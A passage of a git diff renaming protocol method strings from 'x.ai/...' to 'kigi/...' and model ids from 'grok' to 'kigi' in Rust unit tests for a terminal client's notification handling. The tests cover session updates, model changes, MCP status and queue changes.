     )
 }
@@ -868,7 +868,7 @@ pub(super) fn xai_wake_turn_completed_notif(
         meta: Some(meta),
     };
     acp::ExtNotification::new(
-        "x.ai/session/update",
+        "kigi/session/update",
         std::sync::Arc::from(serde_json::value::to_raw_value(&payload).unwrap()),
     )
 }
@@ -885,7 +885,7 @@ pub(super) fn last_marker_block(
         .expect("a turn-end marker must exist")
 }
 /// Build a `HookExecution` update (one successful run) on the
-/// `x.ai/session/update` rail, optionally stamped `isReplay`.
+/// `kigi/session/update` rail, optionally stamped `isReplay`.
 /// `prompt_id == None` models pre-attribution shells.
 pub(super) fn xai_hook_execution_notif_for_prompt(
     session_id: &str,
@@ -908,7 +908,7 @@ pub(super) fn xai_hook_execution_notif_for_prompt(
         meta: Some(serde_json::json!({ "isReplay" : is_replay })),
     };
     acp::ExtNotification::new(
-        "x.ai/session/update",
+        "kigi/session/update",
         serde_json::value::to_raw_value(&payload).unwrap().into(),
     )
 }
@@ -970,11 +970,11 @@ pub(super) fn seed_two_bg_tasks_and_announce(app: &mut AppView, session_id: &str
     );
     app.agents.get_mut(&AgentId(0)).unwrap().end_work_announced = true;
 }
-/// Build an `x.ai/session/interjection` ext-notification (no id).
+/// Build an `kigi/session/interjection` ext-notification (no id).
 pub(super) fn interjection_ext(session_id: &str, text: &str) -> acp::ExtNotification {
     interjection_ext_with_id(session_id, text, None)
 }
-/// Build an `x.ai/session/interjection` ext-notification with an optional
+/// Build an `kigi/session/interjection` ext-notification with an optional
 /// `interjectionId` (the originator-dedup key).
 pub(super) fn interjection_ext_with_id(
     session_id: &str,
@@ -986,7 +986,7 @@ pub(super) fn interjection_ext_with_id(
         payload["interjectionId"] = serde_json::json!(id);
     }
     let raw = serde_json::value::to_raw_value(&payload).unwrap();
-    acp::ExtNotification::new("x.ai/session/interjection", std::sync::Arc::from(raw))
+    acp::ExtNotification::new("kigi/session/interjection", std::sync::Arc::from(raw))
 }
 /// Text of the most recent user prompt block in scrollback, if any.
 /// Interjections render as standard user prompt blocks.
@@ -1090,14 +1090,14 @@ pub(super) fn make_bash_stdout_message(
         response_tx: tx,
     })
 }
-/// Build an `ExtNotification` envelope for `x.ai/session_notification`.
+/// Build an `ExtNotification` envelope for `kigi/session_notification`.
 pub(super) fn make_ext_session_notification(
     session_id: &str,
     update: XaiSessionUpdate,
 ) -> AcpClientMessage {
     make_ext_session_notification_with_method(
         session_id,
-        "x.ai/session_notification",
+        "kigi/session_notification",
         update,
     )
 }
@@ -1279,7 +1279,7 @@ pub(super) fn replay_disk_test_home() -> &'static std::path::Path {
         })
         .path()
 }
-/// Runs `f` with a thread-local grok home override so disk replay tests do not
+/// Runs `f` with a thread-local kigi home override so disk replay tests do not
 /// depend on process-wide `kigi_home()` cache order when the full suite runs.
 pub(super) fn with_replay_disk_home<R>(f: impl FnOnce(&std::path::Path) -> R) -> R {
     let home = replay_disk_test_home();
@@ -1389,7 +1389,7 @@ pub(super) fn spawn_subagent_with_optional_updates(
     let _ = handle(
         make_ext_session_notification_with_method(
             "sess-parent",
-            "x.ai/session/update",
+            "kigi/session/update",
             test_subagent_spawned("sess-parent", child_sid),
         ),
         app,
@@ -1421,7 +1421,7 @@ pub(super) fn dispatch_goal_update(
     let (tx, _rx) = tokio::sync::oneshot::channel();
     handle(
         AcpClientMessage::ExtNotification(kigi_acp_lib::AcpArgs {
-            request: acp::ExtNotification::new("x.ai/session_notification", raw.into()),
+            request: acp::ExtNotification::new("kigi/session_notification", raw.into()),
             response_tx: tx,
         }),
         app,
@@ -1464,7 +1464,7 @@ pub(super) fn make_permission_message(
     });
     (msg, rx)
 }
-/// Build an `x.ai/session_notification` carrying
+/// Build an `kigi/session_notification` carrying
 /// `InteractionResolved{tool_call_id}` (the first-answer-wins broadcast that
 /// tells every other pane to retract its shared interaction modal).
 pub(super) fn interaction_resolved_ext(
@@ -1479,7 +1479,7 @@ pub(super) fn interaction_resolved_ext(
         meta: None,
     };
     let raw = serde_json::value::to_raw_value(&notif).unwrap();
-    acp::ExtNotification::new("x.ai/session_notification", std::sync::Arc::from(raw))
+    acp::ExtNotification::new("kigi/session_notification", std::sync::Arc::from(raw))
 }
 pub(super) fn make_git_head_changed_notif(
     session_id: &str,
@@ -1494,7 +1494,7 @@ pub(super) fn make_git_head_changed_notif(
         main_repo: main_repo.map(str::to_string),
     };
     let raw = serde_json::value::to_raw_value(&payload).unwrap();
-    acp::ExtNotification::new("x.ai/git_head_changed", std::sync::Arc::from(raw))
+    acp::ExtNotification::new("kigi/git_head_changed", std::sync::Arc::from(raw))
 }
 pub(super) fn make_task_backgrounded_notif(
     session_id: &str,
@@ -1516,7 +1516,7 @@ pub(super) fn make_task_backgrounded_notif(
         meta: None,
     };
     let raw = serde_json::value::to_raw_value(&notif).unwrap();
-    acp::ExtNotification::new("x.ai/task_backgrounded", std::sync::Arc::from(raw))
+    acp::ExtNotification::new("kigi/task_backgrounded", std::sync::Arc::from(raw))
 }
 /// Like [`make_task_backgrounded_notif`] but stamped `_meta.isReplay:
 /// true` via the typed [`ReplayMetaStamp`](crate::acp::meta::ReplayMetaStamp),
@@ -1541,7 +1541,7 @@ pub(super) fn make_replayed_task_backgrounded_notif(
         meta: Some(crate::acp::meta::ReplayMetaStamp::replayed()),
     };
     let raw = serde_json::value::to_raw_value(&notif).unwrap();
-    acp::ExtNotification::new("x.ai/session/update", std::sync::Arc::from(raw))
+    acp::ExtNotification::new("kigi/session/update", std::sync::Arc::from(raw))
 }
 /// Register a pending Execute tool call in the tracker and send an InProgress
 /// update to create the scrollback entry. Returns the agent for further use.
@@ -1670,7 +1670,7 @@ pub(super) fn task_completed_notif(
         meta: None,
     };
     let raw = serde_json::value::to_raw_value(&notif).unwrap();
-    acp::ExtNotification::new("x.ai/task_completed", std::sync::Arc::from(raw))
+    acp::ExtNotification::new("kigi/task_completed", std::sync::Arc::from(raw))
 }
 pub(super) fn make_monitor_event_notif(
     session_id: &str,
@@ -1687,7 +1687,7 @@ pub(super) fn make_monitor_event_notif(
         meta: None,
     };
     let raw = serde_json::value::to_raw_value(&notif).unwrap();
-    acp::ExtNotification::new("x.ai/monitor_event", std::sync::Arc::from(raw))
+    acp::ExtNotification::new("kigi/monitor_event", std::sync::Arc::from(raw))
 }
 pub(super) fn make_model_info(id: &str) -> acp::ModelInfo {
     acp::ModelInfo::new(acp::ModelId::new(std::sync::Arc::from(id)), id.to_string())
@@ -1705,9 +1705,9 @@ pub(super) fn make_models_update_notif(
         models,
     );
     let raw = serde_json::value::to_raw_value(&state).unwrap();
-    acp::ExtNotification::new("x.ai/models/update", std::sync::Arc::from(raw))
+    acp::ExtNotification::new("kigi/models/update", std::sync::Arc::from(raw))
 }
-/// `x.ai/models/update` carrying a single reasoning-capable model whose
+/// `kigi/models/update` carrying a single reasoning-capable model whose
 /// catalog-default effort is `default_effort` (what the broadcast reports
 /// for every client — never the per-session selection).
 pub(super) fn make_reasoning_models_update_notif(
@@ -1725,7 +1725,7 @@ pub(super) fn make_reasoning_models_update_notif(
         vec![info],
     );
     let raw = serde_json::value::to_raw_value(&state).unwrap();
-    acp::ExtNotification::new("x.ai/models/update", std::sync::Arc::from(raw))
+    acp::ExtNotification::new("kigi/models/update", std::sync::Arc::from(raw))
 }
 /// Seed a session's model catalog with the given ids and mark
 /// `current_model_id` as the active one (must be in the list). Used by
@@ -1754,7 +1754,7 @@ pub(super) fn model_changed_ext(
         meta: None,
     };
     let raw = serde_json::value::to_raw_value(&payload).unwrap();
-    acp::ExtNotification::new("x.ai/session_notification", std::sync::Arc::from(raw))
+    acp::ExtNotification::new("kigi/session_notification", std::sync::Arc::from(raw))
 }
 pub(super) fn model_changed_ext_with_event(
     session_id: &str,
@@ -1770,7 +1770,7 @@ pub(super) fn model_changed_ext_with_event(
         meta: Some(serde_json::json!({ "eventId" : event_id })),
     };
     let raw = serde_json::value::to_raw_value(&payload).unwrap();
-    acp::ExtNotification::new("x.ai/session_notification", std::sync::Arc::from(raw))
+    acp::ExtNotification::new("kigi/session_notification", std::sync::Arc::from(raw))
 }
 pub(super) fn make_tool_call_update(title: &str) -> acp::SessionUpdate {
     acp::SessionUpdate::ToolCallUpdate(
@@ -1796,7 +1796,7 @@ pub(super) fn make_current_mode_update(mode_id: &str) -> acp::SessionUpdate {
         acp::CurrentModeUpdate::new(acp::SessionModeId::new(mode_id)),
     )
 }
-/// Helper: build an `x.ai/mcp/init_progress` notification.
+/// Helper: build an `kigi/mcp/init_progress` notification.
 pub(super) fn make_mcp_init_progress_notif(
     total: u32,
     connected: u32,
@@ -1805,7 +1805,7 @@ pub(super) fn make_mcp_init_progress_notif(
             &serde_json::json!({ "total" : total, "connected" : connected, }),
         )
         .unwrap();
-    acp::ExtNotification::new("x.ai/mcp/init_progress", std::sync::Arc::from(raw))
+    acp::ExtNotification::new("kigi/mcp/init_progress", std::sync::Arc::from(raw))
 }
 pub(super) fn make_mcps_modal_with_servers(
     servers: Vec<crate::views::mcps_modal::McpServerInfo>,
@@ -1854,7 +1854,7 @@ pub(super) fn make_server_status_notif(
         tools,
     };
     let raw = serde_json::value::to_raw_value(&payload).unwrap();
-    acp::ExtNotification::new("x.ai/mcp/server_status", std::sync::Arc::from(raw))
+    acp::ExtNotification::new("kigi/mcp/server_status", std::sync::Arc::from(raw))
 }
 /// `mcp/servers_updated` real wire shape — `{ mcpServers: [...] }`
 /// with NO `sessionId`. Regression guard: anything that tries to
@@ -1863,7 +1863,7 @@ pub(super) fn make_server_status_notif(
 pub(super) fn make_servers_updated_notif() -> acp::ExtNotification {
     let payload = serde_json::json!({ "mcpServers" : [] });
     let raw = serde_json::value::to_raw_value(&payload).unwrap();
-    acp::ExtNotification::new("x.ai/mcp/servers_updated", std::sync::Arc::from(raw))
+    acp::ExtNotification::new("kigi/mcp/servers_updated", std::sync::Arc::from(raw))
 }
 /// Real post-handshake / auth-recovery wire shape:
 /// `McpToolsChanged { sessionId, serverName, tools }`.
@@ -1872,19 +1872,19 @@ pub(super) fn make_tools_changed_notif_post_h2(
 ) -> acp::ExtNotification {
     let payload = kigi_shell::extensions::mcp::McpToolsChanged {
         session_id: session_id.to_string(),
-        server_name: "grok_com_linear".to_string(),
+        server_name: "kigi_com_linear".to_string(),
         tools: Vec::new(),
     };
     let raw = serde_json::value::to_raw_value(&payload).unwrap();
-    acp::ExtNotification::new("x.ai/mcp/tools_changed", std::sync::Arc::from(raw))
+    acp::ExtNotification::new("kigi/mcp/tools_changed", std::sync::Arc::from(raw))
 }
 /// Legacy / forward-compat wire shape: older shells emit
 /// `{ serverName, tools }` with NO sessionId. The pager must fall
 /// back to active_view for this shape.
 pub(super) fn make_tools_changed_notif_pre_h2() -> acp::ExtNotification {
-    let payload = serde_json::json!({ "serverName" : "grok_com_linear", "tools" : [] });
+    let payload = serde_json::json!({ "serverName" : "kigi_com_linear", "tools" : [] });
     let raw = serde_json::value::to_raw_value(&payload).unwrap();
-    acp::ExtNotification::new("x.ai/mcp/tools_changed", std::sync::Arc::from(raw))
+    acp::ExtNotification::new("kigi/mcp/tools_changed", std::sync::Arc::from(raw))
 }
 /// Real `mcp_initialized` wire shape:
 /// `{ sessionId, mcpToolCount, elapsedMs }`.
@@ -1893,7 +1893,7 @@ pub(super) fn make_mcp_initialized_notif(session_id: &str) -> acp::ExtNotificati
         { "sessionId" : session_id, "mcpToolCount" : 12_u64, "elapsedMs" : 250_u64, }
     );
     let raw = serde_json::value::to_raw_value(&payload).unwrap();
-    acp::ExtNotification::new("x.ai/mcp_initialized", std::sync::Arc::from(raw))
+    acp::ExtNotification::new("kigi/mcp_initialized", std::sync::Arc::from(raw))
 }
 /// Helper: `init_progress` notification carrying an explicit sessionId.
 pub(super) fn make_mcp_init_progress_notif_for(
@@ -1907,7 +1907,7 @@ pub(super) fn make_mcp_init_progress_notif_for(
             ),
         )
         .unwrap();
-    acp::ExtNotification::new("x.ai/mcp/init_progress", std::sync::Arc::from(raw))
+    acp::ExtNotification::new("kigi/mcp/init_progress", std::sync::Arc::from(raw))
 }
 /// Helper: `mcp_initialized` notification for a specific sessionId.
 pub(super) fn make_mcp_initialized_notif_for(session_id: &str) -> acp::ExtNotification {
@@ -1917,7 +1917,7 @@ pub(super) fn make_mcp_initialized_notif_for(session_id: &str) -> acp::ExtNotifi
             ),
         )
         .unwrap();
-    acp::ExtNotification::new("x.ai/mcp_initialized", std::sync::Arc::from(raw))
+    acp::ExtNotification::new("kigi/mcp_initialized", std::sync::Arc::from(raw))
 }
 mod permissions;
 mod session_events;
diff --git a/crates/codegen/kigi-tui/src/app/acp_handler/tests/models.rs b/crates/codegen/kigi-tui/src/app/acp_handler/tests/models.rs
index 9a40ed5..675a7e2 100644
--- a/crates/codegen/kigi-tui/src/app/acp_handler/tests/models.rs
+++ b/crates/codegen/kigi-tui/src/app/acp_handler/tests/models.rs
@@ -1,7 +1,7 @@
 #![cfg_attr(rustfmt, rustfmt::skip)]
     use super::*;
 
-    /// Regression: a machine-wide `x.ai/models/update` broadcast
+    /// Regression: a machine-wide `kigi/models/update` broadcast
     /// carries each model's static catalog-default effort (`high`), not the
     /// session's chosen `xhigh`, and must not clobber the per-session choice.
     #[test]
@@ -44,20 +44,20 @@
         let mut app = make_app_with_agent("sess-1");
 
         let agent = app.agents.get_mut(&AgentId(0)).unwrap();
-        let id_3 = acp::ModelId::new(std::sync::Arc::from("grok-3"));
+        let id_3 = acp::ModelId::new(std::sync::Arc::from("kigi-3"));
         agent
             .session
             .models
             .available
-            .insert(id_3.clone(), make_model_info("grok-3"));
+            .insert(id_3.clone(), make_model_info("kigi-3"));
         agent.session.models.current = Some(id_3);
 
-        let notif = make_models_update_notif("grok-4", &["grok-3", "grok-4"]);
+        let notif = make_models_update_notif("kigi-4", &["kigi-3", "kigi-4"]);
         handle_models_update(&notif, &mut app);
 
         assert_eq!(
             app.models.current.as_ref().map(|id| id.0.as_ref()),
-            Some("grok-3"),
+            Some("kigi-3"),
             "app.models.current must preserve active agent's model, not remote settings default"
         );
 
@@ -69,7 +69,7 @@
                 .current
                 .as_ref()
                 .map(|id| id.0.as_ref()),
-            Some("grok-3"),
+            Some("kigi-3"),
             "agent's per-session model must be preserved"
         );
     }
@@ -79,21 +79,21 @@
         let mut app = make_app_with_agent("sess-1");
 
         let agent = app.agents.get_mut(&AgentId(0)).unwrap();
-        let id_3 = acp::ModelId::new(std::sync::Arc::from("grok-3"));
+        let id_3 = acp::ModelId::new(std::sync::Arc::from("kigi-3"));
         agent
             .session
             .models
             .available
-            .insert(id_3.clone(), make_model_info("grok-3"));
+            .insert(id_3.clone(), make_model_info("kigi-3"));
         agent.session.models.current = Some(id_3);
 
-        // grok-3 removed from catalog.
-        let notif = make_models_update_notif("grok-4.3", &["grok-4.3", "grok-4.5"]);
+        // kigi-3 removed from catalog.
+        let notif = make_models_update_notif("kigi-4.3", &["kigi-4.3", "kigi-4.5"]);
         handle_models_update(&notif, &mut app);
 
         assert_eq!(
             app.models.current.as_ref().map(|id| id.0.as_ref()),
-            Some("grok-4.3"),
+            Some("kigi-4.3"),
             "app.models.current must use shell default when agent model removed"
         );
 
@@ -105,7 +105,7 @@
                 .current
                 .as_ref()
                 .map(|id| id.0.as_ref()),
-            Some("grok-4.3"),
+            Some("kigi-4.3"),
             "agent must fall back to shell default when its model is removed"
         );
     }
@@ -115,12 +115,12 @@
         let (tx, _rx) = tokio::sync::mpsc::unbounded_channel();
         let mut app = AppView::new(tx, ModelState::default(), Vec::new());
 
-        let notif = make_models_update_notif("grok-4", &["grok-3", "grok-4"]);
+        let notif = make_models_update_notif("kigi-4", &["kigi-3", "kigi-4"]);
         handle_models_update(&notif, &mut app);
 
         assert_eq!(
             app.models.current.as_ref().map(|id| id.0.as_ref()),
-            Some("grok-4"),
+            Some("kigi-4"),
             "without an active agent, shell default must be used"
         );
     }
@@ -130,21 +130,21 @@
         let mut app = make_app_with_agent("sess-1");
 
         let agent = app.agents.get_mut(&AgentId(0)).unwrap();
-        let id_4 = acp::ModelId::new(std::sync::Arc::from("grok-4"));
+        let id_4 = acp::ModelId::new(std::sync::Arc::from("kigi-4"));
         agent
             .session
             .models
             .available
-            .insert(id_4.clone(), make_model_info("grok-4"));
+            .insert(id_4.clone(), make_model_info("kigi-4"));
         agent.session.models.current = Some(id_4);
 
-        let notif = make_models_update_notif("grok-4", &["grok-3", "grok-4"]);
+        let notif = make_models_update_notif("kigi-4", &["kigi-3", "kigi-4"]);
         handle_models_update(&notif, &mut app);
 
         assert_eq!(
             app.models.current.as_ref().map(|id| id.0.as_ref()),
-            Some("grok-4"),
-            "app.models.current must be grok-4 when agent and shell agree"
+            Some("kigi-4"),
+            "app.models.current must be kigi-4 when agent and shell agree"
         );
         let agent = app.agents.get(&AgentId(0)).unwrap();
         assert_eq!(
@@ -154,8 +154,8 @@
                 .current
                 .as_ref()
                 .map(|id| id.0.as_ref()),
-            Some("grok-4"),
-            "agent model must remain grok-4"
+            Some("kigi-4"),
+            "agent model must remain kigi-4"
         );
     }
 
@@ -166,33 +166,33 @@
 
         {
             let agent_a = app.agents.get_mut(&AgentId(0)).unwrap();
-            let id_3 = acp::ModelId::new(std::sync::Arc::from("grok-3"));
+            let id_3 = acp::ModelId::new(std::sync::Arc::from("kigi-3"));
             agent_a
                 .session
                 .models
                 .available
-                .insert(id_3.clone(), make_model_info("grok-3"));
+                .insert(id_3.clone(), make_model_info("kigi-3"));
             agent_a.session.models.current = Some(id_3);
         }
 
         {
             let agent_b = app.agents.get_mut(&AgentId(1)).unwrap();
-            let id_5 = acp::ModelId::new(std::sync::Arc::from("grok-4.5"));
+            let id_5 = acp::ModelId::new(std::sync::Arc::from("kigi-4.5"));
             agent_b
                 .session
                 .models
                 .available
-                .insert(id_5.clone(), make_model_info("grok-4.5"));
+                .insert(id_5.clone(), make_model_info("kigi-4.5"));
             agent_b.session.models.current = Some(id_5);
         }
 
-        // grok-5 removed from catalog.
-        let notif = make_models_update_notif("grok-4", &["grok-3", "grok-4"]);
+        // kigi-5 removed from catalog.
+        let notif = make_models_update_notif("kigi-4", &["kigi-3", "kigi-4"]);
         handle_models_update(&notif, &mut app);
 
         assert_eq!(
             app.models.current.as_ref().map(|id| id.0.as_ref()),
-            Some("grok-3"),
+            Some("kigi-3"),
         );
         let agent_a = app.agents.get(&AgentId(0)).unwrap();
         assert_eq!(
@@ -202,11 +202,11 @@
                 .current
                 .as_ref()
                 .map(|id| id.0.as_ref()),
-            Some("grok-3"),
+            Some("kigi-3"),
             "agent A's model must be preserved"
         );
 
-        // B's grok-5 was removed — must fall back to shell's grok-4, not A's grok-3.
+        // B's kigi-5 was removed — must fall back to shell's kigi-4, not A's kigi-3.
         let agent_b = app.agents.get(&AgentId(1)).unwrap();
         assert_eq!(
             agent_b
@@ -215,7 +215,7 @@
                 .current
                 .as_ref()
                 .map(|id| id.0.as_ref()),
-            Some("grok-4"),
+            Some("kigi-4"),
             "inactive agent must fall back to shell default, not active agent's model"
         );
     }
@@ -228,12 +228,12 @@
     fn model_changed_updates_state_silently_on_follower() {
         let mut app = make_app_with_agent("sess-1");
         let agent = app.agents.get_mut(&AgentId(0)).unwrap();
-        seed_models(agent, "grok-3", &["grok-3", "grok-4"]);
+        seed_models(agent, "kigi-3", &["kigi-3", "kigi-4"]);
         let scrollback_before = agent.scrollback.len();
         // Follower: no local switch in flight.
         assert!(!agent.session.model_switch_pending);
 
-        let notif = model_changed_ext("sess-1", "grok-4", None);
+        let notif = model_changed_ext("sess-1", "kigi-4", None);
         let changed = handle_ext_notification(&notif, &mut app);
         assert!(
             changed,
@@ -248,7 +248,7 @@
                 .current
                 .as_ref()
                 .map(|id| id.0.as_ref()),
-            Some("grok-4"),
+            Some("kigi-4"),
             "follower must mirror the remote switch into its local model state",
         );
         assert_eq!(
@@ -325,13 +325,13 @@
     fn model_changed_skipped_when_local_switch_in_flight() {
         let mut app = make_app_with_agent("sess-1");
         let agent = app.agents.get_mut(&AgentId(0)).unwrap();
-        seed_models(agent, "grok-3", &["grok-3", "grok-4"]);
+        seed_models(agent, "kigi-3", &["kigi-3", "kigi-4"]);
         // Invoker: a local switch is in flight (set by Action::SwitchModel /
         // set_default_model before the SetSessionModelRequest is sent).
         agent.session.model_switch_pending = true;
         let scrollback_before = agent.scrollback.len();
 
-        let notif = model_changed_ext("sess-1", "grok-4", None);
+        let notif = model_changed_ext("sess-1", "kigi-4", None);
         let changed = handle_ext_notification(&notif, &mut app);
         assert!(
             !changed,
@@ -346,7 +346,7 @@
                 .current
                 .as_ref()
                 .map(|id| id.0.as_ref()),
-            Some("grok-3"),
+            Some("kigi-3"),
             "models.current must stay at the pre-response snapshot — \
              SwitchModelComplete owns the final apply + system message"
         );
@@ -370,9 +370,9 @@
     fn model_changed_dropped_when_model_unknown_to_catalog() {
         let mut app = make_app_with_agent("sess-1");
         let agent = app.agents.get_mut(&AgentId(0)).unwrap();
-        seed_models(agent, "grok-3", &["grok-3", "grok-4"]);
+        seed_models(agent, "kigi-3", &["kigi-3", "kigi-4"]);
 
-        let notif = model_changed_ext("sess-1", "grok-99-unknown", None);
+        let notif = model_changed_ext("sess-1", "kigi-99-unknown", None);
         let changed = handle_ext_notification(&notif, &mut app);
         assert!(
             !changed,
@@ -387,7 +387,7 @@
                 .current
                 .as_ref()
                 .map(|id| id.0.as_ref()),
-            Some("grok-3"),
+            Some("kigi-3"),
             "models.current must stay on the previously-known model"
         );
     }
@@ -395,15 +395,15 @@
     /// `reasoning_effort` round-trips through the broadcast: the follower
     /// applies it alongside the model id so the prompt header / status bar
     /// show the right effort without waiting for a subsequent
-    /// `x.ai/models/update`.
+    /// `kigi/models/update`.
     #[test]
     fn model_changed_applies_reasoning_effort_on_follower() {
         use kigi_shell::sampling::types::ReasoningEffort;
         let mut app = make_app_with_agent("sess-1");
         let agent = app.agents.get_mut(&AgentId(0)).unwrap();
-        seed_models(agent, "grok-3", &["grok-3", "grok-4"]);
+        seed_models(agent, "kigi-3", &["kigi-3", "kigi-4"]);
 
-        let notif = model_changed_ext("sess-1", "grok-4", Some("high"));
+        let notif = model_changed_ext("sess-1", "kigi-4", Some("high"));
         assert!(handle_ext_notification(&notif, &mut app));
 
         let agent = app.agents.get(&AgentId(0)).unwrap();
@@ -423,9 +423,9 @@
     fn model_changed_dropped_for_unknown_session_id() {
         let mut app = make_app_with_agent("sess-1");
         let agent = app.agents.get_mut(&AgentId(0)).unwrap();
-        seed_models(agent, "grok-3", &["grok-3", "grok-4"]);
+        seed_models(agent, "kigi-3", &["kigi-3", "kigi-4"]);
 
-        let notif = model_changed_ext("sess-OTHER", "grok-4", None);
+        let notif = model_changed_ext("sess-OTHER", "kigi-4", None);
         let changed = handle_ext_notification(&notif, &mut app);
         assert!(!changed);
 
@@ -437,7 +437,7 @@
                 .current
                 .as_ref()
                 .map(|id| id.0.as_ref()),
-            Some("grok-3"),
+            Some("kigi-3"),
             "unrelated-session broadcast must not touch this agent's model"
         );
     }
diff --git a/crates/codegen/kigi-tui/src/app/acp_handler/tests/plan_mode.rs b/crates/codegen/kigi-tui/src/app/acp_handler/tests/plan_mode.rs
index 5717257..b6a7d81 100644
--- a/crates/codegen/kigi-tui/src/app/acp_handler/tests/plan_mode.rs
+++ b/crates/codegen/kigi-tui/src/app/acp_handler/tests/plan_mode.rs
@@ -213,7 +213,7 @@
         };
         let raw = serde_json::value::to_raw_value(&ext_req).unwrap();
         let msg = AcpClientMessage::ExtMethod(kigi_acp_lib::AcpArgs {
-            request: acp::ExtRequest::new("x.ai/exit_plan_mode", raw.into()),
+            request: acp::ExtRequest::new("kigi/exit_plan_mode", raw.into()),
             response_tx: tx,
         });
 
@@ -244,7 +244,7 @@
         };
         let raw = serde_json::value::to_raw_value(&ext_req).unwrap();
         let msg = AcpClientMessage::ExtMethod(kigi_acp_lib::AcpArgs {
-            request: acp::ExtRequest::new("x.ai/exit_plan_mode", raw.into()),
+            request: acp::ExtRequest::new("kigi/exit_plan_mode", raw.into()),
             response_tx: tx,
         });
 
@@ -275,7 +275,7 @@
         };
         let raw = serde_json::value::to_raw_value(&ext_req).unwrap();
         let msg = AcpClientMessage::ExtMethod(kigi_acp_lib::AcpArgs {
-            request: acp::ExtRequest::new("x.ai/exit_plan_mode", raw.into()),
+            request: acp::ExtRequest::new("kigi/exit_plan_mode", raw.into()),
             response_tx: tx,
         });
 
diff --git a/crates/codegen/kigi-tui/src/app/acp_handler/tests/plugins.rs b/crates/codegen/kigi-tui/src/app/acp_handler/tests/plugins.rs
index 566376d..96e7af4 100644
--- a/crates/codegen/kigi-tui/src/app/acp_handler/tests/plugins.rs
+++ b/crates/codegen/kigi-tui/src/app/acp_handler/tests/plugins.rs
@@ -21,7 +21,7 @@
                 XaiSessionUpdate::PluginsChanged {
                     plugins: vec![crate::views::extensions_modal::test_plugin_info(
                         "user-tool",
-                        Some(kigi_hooks_plugins_types::PluginOrigin::UserGrok),
+                        Some(kigi_hooks_plugins_types::PluginOrigin::UserKigi),
                     )],
                 },
             ),
@@ -60,7 +60,7 @@
                     plugins: vec![
                         crate::views::extensions_modal::test_plugin_info(
                             "user-tool",
-                            Some(kigi_hooks_plugins_types::PluginOrigin::UserGrok),
+                            Some(kigi_hooks_plugins_types::PluginOrigin::UserKigi),
                         ),
                         crate::views::extensions_modal::test_plugin_info(
                             "claude-tool",
@@ -103,7 +103,7 @@
                 XaiSessionUpdate::PluginsChanged {
                     plugins: vec![crate::views::extensions_modal::test_plugin_info(
                         "user-tool",
-                        Some(kigi_hooks_plugins_types::PluginOrigin::UserGrok),
+                        Some(kigi_hooks_plugins_types::PluginOrigin::UserKigi),
                     )],
                 },
             ),
diff --git a/crates/codegen/kigi-tui/src/app/acp_handler/tests/queue_and_adoption.rs b/crates/codegen/kigi-tui/src/app/acp_handler/tests/queue_and_adoption.rs
index 6c0caaa..6b6bd76 100644
--- a/crates/codegen/kigi-tui/src/app/acp_handler/tests/queue_and_adoption.rs
+++ b/crates/codegen/kigi-tui/src/app/acp_handler/tests/queue_and_adoption.rs
@@ -2,7 +2,7 @@
     use super::*;
 
     /// The pager reconciles the authoritative shared prompt queue from the
-    /// `x.ai/queue/changed` broadcast, and an empty broadcast clears it.
+    /// `kigi/queue/changed` broadcast, and an empty broadcast clears it.
     #[test]
     fn queue_changed_reconciles_shared_queue() {
         let mut app = make_app_with_agent("sess-1");
@@ -144,7 +144,7 @@
             params["runningPromptId"] = serde_json::json!(r);
         }
         acp::ExtNotification::new(
-            "x.ai/queue/changed",
+            "kigi/queue/changed",
             std::sync::Arc::from(serde_json::value::to_raw_value(&params).unwrap()),
         )
     }
@@ -336,7 +336,7 @@
             serde_json::from_str(&json_str).unwrap();
         assert_eq!(mirror.running_prompt_id.as_deref(), Some("prompt-running"));
 
-        let notif = acp::ExtNotification::new("x.ai/queue/changed", raw.into());
+        let notif = acp::ExtNotification::new("kigi/queue/changed", raw.into());
 
         // Case 1: current_prompt_id is None -> adopt it.
         let mut app = make_app_with_agent("sess-1");
@@ -415,7 +415,7 @@
     /// Regression: when the shell promotes
     /// a server-initiated / auto-wake prompt (synthetic id `task-completed-…`,
     /// injected when a background task finishes) to the running turn, it
-    /// broadcasts `x.ai/queue/changed` with `runningPromptId` = that synthetic
+    /// broadcasts `kigi/queue/changed` with `runningPromptId` = that synthetic
     /// id. The pager must NOT adopt it via the turn-start shim: those turns run
     /// inside the actor and emit no `prompt_complete` / `PromptResponse`, so
     /// `start_turn()` here would strand the pager on "Responding…" forever
@@ -1736,7 +1736,7 @@
             "promptId": "p1",
         });
         let notif = acp::ExtNotification::new(
-            "x.ai/session/prompt_complete",
+            "kigi/session/prompt_complete",
             serde_json::value::to_raw_value(&params).unwrap().into(),
         );
         handle_prompt_complete(&notif, &mut app);
@@ -2093,7 +2093,7 @@
     fn viewer_does_not_enter_turn_running_for_server_initiated_turn() {
         // A server-initiated / auto-wake turn (synthetic prompt id, e.g. a
         // background subagent or task completion: `task-completed-…`) runs inside
-        // the actor and emits NO `x.ai/session/prompt_complete`. If a viewer
+        // the actor and emits NO `kigi/session/prompt_complete`. If a viewer
         // entered TurnRunning for it, nothing would ever finish the turn and the
         // viewer would be stuck "Responding…" forever — exactly the bug where one
         // dashboard showed "Worked for" while the other was stuck responding.
@@ -2131,7 +2131,7 @@
     fn viewer_enters_turn_running_for_scheduler_fired_cron_turn() {
         // A `/loop` (scheduled-task) turn has a synthetic `scheduler-fired-…`
         // prompt id, but UNLIKE auto-wake turns it is client-driven via
-        // `MvpAgent::prompt()` and DOES emit `x.ai/session/prompt_complete`. So a
+        // `MvpAgent::prompt()` and DOES emit `kigi/session/prompt_complete`. So a
         // viewer MUST enter TurnRunning for it — otherwise the dashboard's
         // locally-tracked row for a running `/loop` session never shows Working.
         let mut app = make_app_with_agent("sess-view");
@@ -2173,7 +2173,7 @@
 
     #[test]
     fn viewer_prompt_complete_finishes_turn() {
-        // A viewer in TurnRunning receives x.ai/session/prompt_complete for its
+        // A viewer in TurnRunning receives kigi/session/prompt_complete for its
         // session -> finish_turn: state Idle, current_prompt_id cleared.
         let mut app = make_app_with_agent("sess-view");
         app.agents.get_mut(&AgentId(0)).unwrap().attached_as_viewer = true;
diff --git a/crates/codegen/kigi-tui/src/app/acp_handler/tests/reconnect.rs b/crates/codegen/kigi-tui/src/app/acp_handler/tests/reconnect.rs
index ec8c1a8..cac40e1 100644
--- a/crates/codegen/kigi-tui/src/app/acp_handler/tests/reconnect.rs
+++ b/crates/codegen/kigi-tui/src/app/acp_handler/tests/reconnect.rs
@@ -802,7 +802,7 @@
                 meta,
             };
             acp::ExtNotification::new(
-                "x.ai/session/update",
+                "kigi/session/update",
